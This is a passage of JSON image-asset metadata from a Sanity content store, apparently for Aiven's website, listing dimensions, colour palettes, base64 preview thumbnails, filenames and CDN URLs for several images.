/EABUBAQEAAAAAAAAAAAAAAAAAAAID/8QAGREBAQADAQAAAAAAAAAAAAAAAQACERIh/9oADAMBAAIRAxEAPwDQduGx7HYbL1DHvAfAkaNDYq6kJNhJ4Wb2RHVKBqc+f2PdFf5qD9y2KDtikl9QVuBSYS1lSM3SoJhEcx9v/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#464749","foreground":"#fff","population":0.24,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#76110e","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bbc4fc","foreground":"#000","population":0.31,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d2b5a2","foreground":"#000","population":0.08,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bbc4fc","foreground":"#000","population":0.31,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c6c74","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ea534e","foreground":"#fff","population":0.11,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Aiven_Docs_meta_preview.jpg","path":"images/sczeoy4w/production/ac635e5643f5691578ff859676e141d7f0ffcf36-1200x630.jpg","sha1hash":"ac635e5643f5691578ff859676e141d7f0ffcf36","size":53377,"uploadId":"zkQF4wbBJSaShmRVpYOa2eiNDjXzkkdU","url":"https://cdn.sanity.io/images/sczeoy4w/production/ac635e5643f5691578ff859676e141d7f0ffcf36-1200x630.jpg"} {"_createdAt":"2023-11-20T09:26:37Z","_id":"image-ac9f013bbe227b5084ce400fb8f0a0b4e9d0738a-1200x628-png","_rev":"Arp4NzaYseKQ5hw9dWPETk","_type":"sanity.imageAsset","_updatedAt":"2023-11-20T09:26:37Z","assetId":"ac9f013bbe227b5084ce400fb8f0a0b4e9d0738a","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MdRcG7_%FzkV#R%NROogjbV?s9RjoffkWB","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACYUlEQVQokR3O/y/UcQDH8c9YdU5t/ZqEmrV82znU5NuOO8eSJaZzpkk2up1O5M6Fc+cc2bkPt3Mdn/laYt3aSXO7EOXLSC2EqTQxdaNf+sGKWlvvV7v+gOceT4qIPEihL8pCURmJinBUhEIVAc051EfDmAjmItoS/5qifjws2Fma2HJur29+2dhybq/O7A4qKSL2JEWnURkFLR+1CdDGQRuNuljo+WhJQftlMBf+MKnfh41bayury8tzo8OvxifWlhZ25h0UER8mJcHQJqIuCXUCNAihT4ZeAIMQphQwl9Ca9LtL/G3m8YeVlVn703HGaLdYZscmNz6vU0TEJrJAaBKg4aE6GjqeKzYkueQmAVoEMJ7f78x0TlvfTj53WOghrcJWW/ViwLb2yRV7uLZVsVDFQMnF7TNQBKGSgzuBUAehgYvG0L32tE0HPW2lH2mlXTJRR+m1oQ56cW6MIllsIguAJh418SjnQuoLyXEUeaPYG8qTaODAFLXXkb5hVUx1Kfpqc83SBPqGsPeuZMbWTJEsT8gCoOZBHQdlGBQhKA+GMghVIag/C0sy6Uzb785xWtWL/fVDzXk9Kl53deozs3zBavgvS/2JPIyUheDmKRT5oNgHt05A7gcdBxY+aRX8YjK+9qvnezUj5qwBWmA3XXn9oOb9QDtFRCyS70UkfqTQi+QdxVUWcg8i7xAK2Cg/BgMHxvCf91I+9sgnLddHmvgOOsbeKBxrK3lj66ZIhjsRsSBmI5uF7APIdkOOG3LdkO8O2RHo/GEM32XS3t0vnTCnTxkiXuq5Dl3koEky+qTvHwDqYBJhkEFIAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#48342e","foreground":"#fff","population":2.59,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bc2c18","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":11.46,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bac5c5","foreground":"#000","population":0.2,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcc969","foreground":"#000","population":0.02,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8fccc5","foreground":"#000","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":11.46,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"jenn-aws-blog-image.png","path":"images/sczeoy4w/production/ac9f013bbe227b5084ce400fb8f0a0b4e9d0738a-1200x628.png","sha1hash":"ac9f013bbe227b5084ce400fb8f0a0b4e9d0738a","size":179761,"uploadId":"UILU7RHO34nfFEpPexNlNPASHW7gjIUB","url":"https://cdn.sanity.io/images/sczeoy4w/production/ac9f013bbe227b5084ce400fb8f0a0b4e9d0738a-1200x628.png"} {"_createdAt":"2024-01-02T13:27:23Z","_id":"image-acb80f39304927a42f9c7ca67d515ffdadddc374-3956x1410-png","_rev":"7oPGYyiRG7hm5kP9i1Jask","_type":"sanity.imageAsset","_updatedAt":"2024-01-02T13:27:23Z","assetId":"acb80f39304927a42f9c7ca67d515ffdadddc374","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.805673758865248,"height":1410,"width":3956},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAIAAACHqfpvAAAACXBIWXMAABYlAAAWJQFJUiTwAAAA3UlEQVQYlY3O0a6DMAgGYN//EV00MWpcU6W1VQsF6tIt51zsan8IXMCX0HRdtyyLe2ffdyK6f04zjuPzabYNrF3XdT3PU1V/xQAAznkfAByAu67rC5dS3v2u4wtT5kS5ViKkLCKf6w8TEWbWmqL6v/nDpdwsJbNg9YiIzKJaWUoJAKy1IcYLc8rCoqKFRTJnFmnu+xZRRIzxsHY1xsR41HcSOueGYWjbdpymfY+JhFjORCGGI2zXGStW1ZRSCMEYM8+z94EoI6L3fpqmx+PR9z04l7ni1cfFLGGb6XAv1EOV+JNUWuQAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#444444","foreground":"#fff","population":0.15,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5d4727","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#dac29a","foreground":"#000","population":0.2,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a9bcd8","foreground":"#000","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dac29a","foreground":"#000","population":0.2,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#728c98","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c09d6a","foreground":"#000","population":0.07,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"jdbc-sink.png","path":"images/sczeoy4w/production/acb80f39304927a42f9c7ca67d515ffdadddc374-3956x1410.png","sha1hash":"acb80f39304927a42f9c7ca67d515ffdadddc374","size":133807,"uploadId":"OisPCLlztA0CywDO26AZA7a4nPIDaAEv","url":"https://cdn.sanity.io/images/sczeoy4w/production/acb80f39304927a42f9c7ca67d515ffdadddc374-3956x1410.png"} {"_createdAt":"2022-10-25T13:57:40Z","_id":"image-acbc9c20365cbe722640e5b9aa1b1c9a41a4f697-1024x422-png","_rev":"4DA7uzMe7PWND6MELskSOV","_type":"sanity.imageAsset","_updatedAt":"2022-10-25T13:57:40Z","assetId":"acbc9c20365cbe722640e5b9aa1b1c9a41a4f697","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M6S?DVNH%M_N-;~qNHNGRjNGt8WWRjaeae","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.4265402843601898,"height":422,"width":1024},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAIAAAB2/0i6AAAACXBIWXMAAAsTAAALEwEAmpwYAAAAwUlEQVQYlX3RUY7DMAgE0N7/sElqsBkGSFZJm3S3W3VkyT9+GOPbvcPgjARzwPtANwzjMMKZmfUv65nbLEO6gRGRZhDR3gfggJPxgdaOtyO3NlyGw4Okqi7LrKpwJz9cm5WZ+cKM8qjIIinS5nkSEQDk0Uzsp68qeeBa64nXdXusqjKz1u6qagY7ss/Dfa9yJiKqTvzYtm3HAKS13rvhwNjzhv+0feGIEJFlfr75At8GdmGSrbVpmlSV5OtDfuUN/wB0htYoyRHJwwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#6f6f6f","foreground":"#fff","population":0.07,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#28545c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#848384","foreground":"#fff","population":0.09,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#99bcc4","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9cccd4","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#848384","foreground":"#fff","population":0.09,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4da3b1","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"acbc9c20365cbe722640e5b9aa1b1c9a41a4f697-1024x422.png","path":"images/sczeoy4w/production/acbc9c20365cbe722640e5b9aa1b1c9a41a4f697-1024x422.png","sha1hash":"acbc9c20365cbe722640e5b9aa1b1c9a41a4f697","size":17486,"uploadId":"j656nId80cCh4gdrup8FWQ6k7UqQJbws","url":"https://cdn.sanity.io/images/sczeoy4w/production/acbc9c20365cbe722640e5b9aa1b1c9a41a4f697-1024x422.png"} {"_createdAt":"2022-06-15T20:01:44Z","_id":"image-acced17ee878ad0594c2b43bee7464975a9cdf1f-752x405-png","_rev":"CK1sLU2mnwa3vmbYWEb6or","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:16:36Z","assetId":"acced17ee878ad0594c2b43bee7464975a9cdf1f","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MYO_|y?9E8$}-SxFoeWDjas-~4ItxWWEM~","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.85679012345679,"height":405,"width":752},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACn0lEQVQokR2S7U8ScQDH73UvWk+6pk2FO+7g7nd3gA/kc+WmzhfN1ppbra0/oHrXW1sz3bIXKZaRWAjMQKdmCBgKHnAHHEe2avag5cOUBwVBhMPXjbbPi++bz77fF1+oEKZEjs6z1BFHpVnqKEDleFIMk4UwEHkghnAxgOW98LEbTjnR3Slkx4LsziDROUl8uhwqBOiCsyazUL1pp9c+0ht2OumnCgJ5IoCiH8JFFs150WNWdbCi+WMFP4yK31awY1PGHQDKsVTGrtqbVX6fBpEpcu0DGfOQhz6Q8hEZlsgHFHkWPWapNH/1p+3K7AD15hFueqxc0V1en6+HDhjim1XB6FDbC9g2hHDvsFULxhnQkBHdXJBn/fI8h2eDNX9djfpeuqdN0tWA3rte8+xh0+JICxRdxn3jsplB6WS/xNIvdWoRtw6ZfS51aJFfc1jWr8iF6HSoljHQd7oqJOUXcRjuaK57cLdd39cNxd1EZBJjxmRssQ0LTKCBCdT/VsYZ0A2bPMvhoqBO8Zq5EfKapqz0bMmlC6VAUnWrvX6otwfaWyKCRnT5NcIZ0FULxpuLsmAuzv46jW07FbEVOhHQLBnUPR2VFSXnS0+drjxzrruF0j+9CW05cYcWMT2RWAek9mHYNYosjSJevcz1ErENwU4tHDTJtz3V68sNY33q252yNmXVjSb5wP1Gn7ETirkJ3owtjiCuVwijl4VMKG/GPr/HgkbUo5N5dMgXKxbzqtKrrRvuVtd4vWWwYX64WbA0bTlqoVwIHLIgwYAEQ+x7QdJHJH3g0A+SPrDPEPsMkWaJHE/nInWZcN0BVxvzaaKe6ugnPGZHoEKEFAVSFChRIAvFUKRQpHiV/4CTMMgHiWyAzPCqdFidYqmEE45Plf0DSXZefGCO9m8AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5f4829","foreground":"#fff","population":3.56,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#607418","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f4cc2c","foreground":"#000","population":20.55,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a59983","foreground":"#000","population":0.15,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f1d561","foreground":"#000","population":5.84,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9a877f","foreground":"#fff","population":0.13,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4cc2c","foreground":"#000","population":20.55,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"acced17ee878ad0594c2b43bee7464975a9cdf1f-752x405.png","path":"images/sczeoy4w/production/acced17ee878ad0594c2b43bee7464975a9cdf1f-752x405.png","sha1hash":"acced17ee878ad0594c2b43bee7464975a9cdf1f","size":88038,"uploadId":"VFzkT4FRIlLCJ8roLS51TUaXMegLKsJN","url":"https://cdn.sanity.io/images/sczeoy4w/production/acced17ee878ad0594c2b43bee7464975a9cdf1f-752x405.png"} {"_createdAt":"2024-07-03T08:45:10Z","_id":"image-ad0497746d807b7f35cad630d025f8edd514b3d0-1200x628-png","_rev":"eksQ0uttcr8BeSzSss9Fiv","_type":"sanity.imageAsset","_updatedAt":"2024-07-03T08:45:10Z","assetId":"ad0497746d807b7f35cad630d025f8edd514b3d0","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M37^_^?[MaMa9-^$cHoHV;I{01m$%Oo%rm","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACgUlEQVQokUWSa1MSARSG+QV9yBS5r7jrLguLuIpAKJAiclERTGyinGm6mWVpIKAgKBheumhWv/dp3Jr6cOZ8OHOeeed9X5NFKDM9s8t85pBIYp+paJVI4pDZ5DHR+S6heBfPZAubVMciHmAba+NS2sjaHuOBZ3i1Z7jG3mMVG8bdZHU/4X6iQibfZj7bIrbQJLHYYSH3iYWlMx5kztGjJ7h9TZxKC5enhS/wnlh4lYVwlFggjCrncEpvsUotTMNCGT28QzxVJ546MIDxVIe5TI+5TN8AzqYuCCXO8If7ePUmiUiJx8kAW2mRN0mB5ZCGppVxKp0/CoMzH0hmm6SW2iRzHRZXTllauyRb+Ew6/5Vs8ZpM4TuzqSv0UJP4ZJp80M7TyBDvYkM8jroJ6RuMePuY7OImkfhH0vk22cIJ6XyXbKHPaukL+dI3lh9es1L6wUrpF/NLNwRCJ6hKCdku4R++S1wwc18O4FFfIHjP/wNvPcwVuwYwtdxjcaVPOn9JrnjF8vqNAVxc/YkevWTEU8XmXMNhjiJaYgiuR9ilfRxKD9NtyoHpbWLJmuFhKF5nPFTFP11jItJkauaYYKxHMNZncvYc3/QZnskzfMEe3okGklrBpTRwyC2jAaZByzqKVEbXXzMe3EH0bTPi2UbSdhG1CqJWw+1t4DSemgjqMerUBfrMFYHIBYreRfR3ENQWdrmFaWCowKhjDVXZRPK+wiG9RFC2kcf3GPNXkbQ6I2odm1T710PBe4pbO0VQj3AqBzjkBrax2znCdGewyIB5jUHbBoOOMvfsmwy5nmNxb2Ed3cEm7mEVK1jEfax/gXb5xNjDo3XM7ipmd4Xh0Ro2ucNvEf1teVuG3WYAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2f346d","foreground":"#fff","population":1.62,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#142070","foreground":"#fff","population":10.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#142070","foreground":"#fff","population":10.03,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8a95c2","foreground":"#000","population":0.47,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c4cbeb","foreground":"#000","population":7.42,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6d6d8d","foreground":"#fff","population":3.78,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b87f37","foreground":"#fff","population":1.43,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"BackMarket Quote 1.png","path":"images/sczeoy4w/production/ad0497746d807b7f35cad630d025f8edd514b3d0-1200x628.png","sha1hash":"ad0497746d807b7f35cad630d025f8edd514b3d0","size":343584,"uploadId":"AmNvVsAItibiUt5z8AHCJzKLsJtkv3Xt","url":"https://cdn.sanity.io/images/sczeoy4w/production/ad0497746d807b7f35cad630d025f8edd514b3d0-1200x628.png"} {"_createdAt":"2022-10-25T13:58:25Z","_id":"image-ad3a0a4544952eb992ae5c3894b430d92025aef9-1050x527-png","_rev":"5bUXdgV32oM3gpmcHXruw0","_type":"sanity.imageAsset","_updatedAt":"2022-10-25T13:58:25Z","assetId":"ad3a0a4544952eb992ae5c3894b430d92025aef9","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M6S?DVt8%M~q-;_3RkRkR*WBbIRkRjRjWB","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9924098671726755,"height":527,"width":1050},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAAsTAAALEwEAmpwYAAAArUlEQVQokZWRW27DMAwEff/bphSXbzkQnQRIGxXIfBo7WmN5/EBV3SPF/MYgwNwjPCJqw3xyEBRiKxvJAI0hAlUxs8jIP0Ssj3PO8zwPzxWpqswEQETMEGm5cx+p7j/OZs5ZVao6xkAjou7+hSwiRASAmUV01xw9xwf5am5ZvpNVlZkfMmT329ejVfUmPwdj8DrgP82/5azH2uhaM9utdZnvcp9qrDsvVPUV2nEHSZJMJJTGKN8AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5c5c5c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#215862","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#8c8c8c","foreground":"#fff","population":0.28,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bdd4dc","foreground":"#000","population":0.03,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c2e4ea","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8c8c8c","foreground":"#fff","population":0.28,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#41abbd","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"ad3a0a4544952eb992ae5c3894b430d92025aef9-1050x527.png","path":"images/sczeoy4w/production/ad3a0a4544952eb992ae5c3894b430d92025aef9-1050x527.png","sha1hash":"ad3a0a4544952eb992ae5c3894b430d92025aef9","size":19705,"uploadId":"YwWoH5OXDW0WDQ9Xln2RbSfkuoM8nY38","url":"https://cdn.sanity.io/images/sczeoy4w/production/ad3a0a4544952eb992ae5c3894b430d92025aef9-1050x527.png"} {"_createdAt":"2024-03-12T11:19:47Z","_id":"image-ad6323a4363447fbe37abbd0b4c08abae5214e25-6048x4024-jpg","_rev":"YZDTfZCd9Sx4xq41jfsyYG","_type":"sanity.imageAsset","_updatedAt":"2024-03-12T11:19:47Z","assetId":"ad6323a4363447fbe37abbd0b4c08abae5214e25","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"VPG*vd}u4;oH-;%gx]R-WVNZ9XNZRit7nOMdZ~s;NFs:","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.502982107355865,"height":4024,"width":6048},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAUHBAb/xAAjEAABAwQCAQUAAAAAAAAAAAADAQIEAAUGERIhFjJBQmHR/8QAFgEBAQEAAAAAAAAAAAAAAAAABAIG/8QAHBEAAQQDAQAAAAAAAAAAAAAAAQACAyESMVET/9oADAMBAAIRAxEAPwBkKFYY94gRIiQ3yzrs3JF21v7SjO/GhwLnGAAcc4umHa1dKtTVt3kR8+kb0Tkbjt3sn1Xd5arJWLkcUbV4k0u/l1vuiPx2QnzxNEdXsX0KazcTloRjobDSQkYj0IxOl3RWiHl14tsdsaDKUQG+liIi6oqj5mwSs+GydX//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5f3d29","foreground":"#fff","population":6.09,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a30a0d","foreground":"#fff","population":1.99,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a28a78","foreground":"#fff","population":6.96,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d0baa4","foreground":"#000","population":6.93,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f3ae9b","foreground":"#000","population":0.37,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a28a78","foreground":"#fff","population":6.96,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#db2820","foreground":"#fff","population":1.32,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"AIVEN0134.jpg","path":"images/sczeoy4w/production/ad6323a4363447fbe37abbd0b4c08abae5214e25-6048x4024.jpg","sha1hash":"ad6323a4363447fbe37abbd0b4c08abae5214e25","size":10589119,"uploadId":"ST93vLvGfxsL5TmkFXiCqiUdJeq8kLgg","url":"https://cdn.sanity.io/images/sczeoy4w/production/ad6323a4363447fbe37abbd0b4c08abae5214e25-6048x4024.jpg"} {"_createdAt":"2024-01-26T14:38:09Z","_id":"image-ad73492ee72bb9e1160da9778c0fbe337033f8ba-860x860-jpg","_rev":"ZLvKaZvfbZlWBlGcpEDNJ0","_type":"sanity.imageAsset","_updatedAt":"2024-01-26T14:38:09Z","assetId":"ad73492ee72bb9e1160da9778c0fbe337033f8ba","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"ekJ*Yebv.T-Vs:_3fktRofaeELo0VsR*Rj%goft7RjRjWCWBV@azR*","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":860,"width":860},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGQABAAMBAQAAAAAAAAAAAAAAAAUGBwQI/8QAKBAAAgICAAQEBwAAAAAAAAAAAgMBBAAFBhESYQcTMUEUISJCUVKB/8QAFwEAAwEAAAAAAAAAAAAAAAAAAgMEBf/EABsRAAMAAwEBAAAAAAAAAAAAAAABAgMRIQQS/9oADAMBAAIRAxEAPwDRPGPiGzoOHkJ1x+VavN8kWfpHvOVbhd5avWReTtnusRyNi2l1Qwefz5ZMeMUV36avcY+vHwbOuRYcRMx275TeHt+NfUJ6UIkWSSxI/tifee2BmdKloq8kRWOvo2kmQ4QZHoYwUf3GcmuuobQrkVmsRdERMrOJHn2xlPTPPEu12V7bWxO/be4pLn9RzyyYqbW4NJlcXFC5HpmPzGMYrW2UptLhKpc5ahFbmiPL0g5jGMY0Wf/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#493432","foreground":"#fff","population":2.5,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#632521","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ccdce2","foreground":"#000","population":5.4,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ccdce2","foreground":"#000","population":5.4,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e79794","foreground":"#000","population":0.41,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a85f60","foreground":"#fff","population":1.26,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c6606f","foreground":"#fff","population":0.05,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"daniel-ortiz.jpeg","path":"images/sczeoy4w/production/ad73492ee72bb9e1160da9778c0fbe337033f8ba-860x860.jpg","sha1hash":"ad73492ee72bb9e1160da9778c0fbe337033f8ba","size":157495,"uploadId":"3EDZEenPrleiaQX6IYOEUmjxaEitIuzL","url":"https://cdn.sanity.io/images/sczeoy4w/production/ad73492ee72bb9e1160da9778c0fbe337033f8ba-860x860.jpg"} {"_createdAt":"2023-01-31T10:39:47Z","_id":"image-ad87bf32d0cbcc36841ed1c34164979b6ff5bb40-2000x1098-png","_rev":"6wJ6OxF1mPB2I3zegQJZtz","_type":"sanity.imageAsset","_updatedAt":"2023-01-31T10:51:39Z","altText":null,"assetId":"ad87bf32d0cbcc36841ed1c34164979b6ff5bb40","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8214936247723132,"height":1098,"width":2000},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACHUlEQVQokS3Q3U/TUBgG8P7NgmPiMNHgiEKM3ElMSIheemkkJibAZGzrBmu7D4bKBqxdP0972nNOz2cXs0Lyy7l435znTR5t/c3eZv1DfXd/d+/jdv39Zu31RnXryYtSdatS3Xq+UVuv1NYqq/dZ5eVapVapvtJ0Y9gzR9boenx9MxxfW4ORaQ1Na2iYw745vDIGV32rNLg0Br3+QL+02j2z1TVbPVODiEKUE8q5UFwq8aTgQlGmCBWYUJJTxuVqwhVhEuUiJQJioUVxBiDCOeeykGqpihUhFeWCMpFTjhDBmDDGhZBCFkIVQi3L9ELzwtiPYIpW2VIVxXKpiiLJ8d/InQSL28ifhv409KbAn4JgnsYOggucQko4F5oXgBDAMloyLpVSXMkJcL+MWvuXvz4ZZ4fW+aF1/tlsHBhnh4Pm0eji67j9+37iw0SLYghTTJngQjEuuJS54FZgHxiN7db3t+0fO6V6aadz/K5zvKf//DbWZ6GvJSnKcP7YB+OcMk44c7PE9B50Z9qxby/u/zTvbtrzf/pi1i31FrNJuAAEaWlGys9CCMW5WB0XImcsRThFGCIcp1mSZYgQTCmhLGeMcv7Yj2Y7ru24QRgCEAMA4jhBCGOSAwC9AHhB5AVRuUxAnMQJTNMMk6fytZOT05PTRvOi1dG7ut7t943Z7C6OE88P585ibjsPtj23bdtx5rZjO67r+WEYxmBV1X/UlDhb1FcLuAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#1f3446","foreground":"#fff","population":0.13,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#174059","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#58b39a","foreground":"#fff","population":6.72,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acbcd4","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8fe1ca","foreground":"#000","population":0.14,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#58b39a","foreground":"#fff","population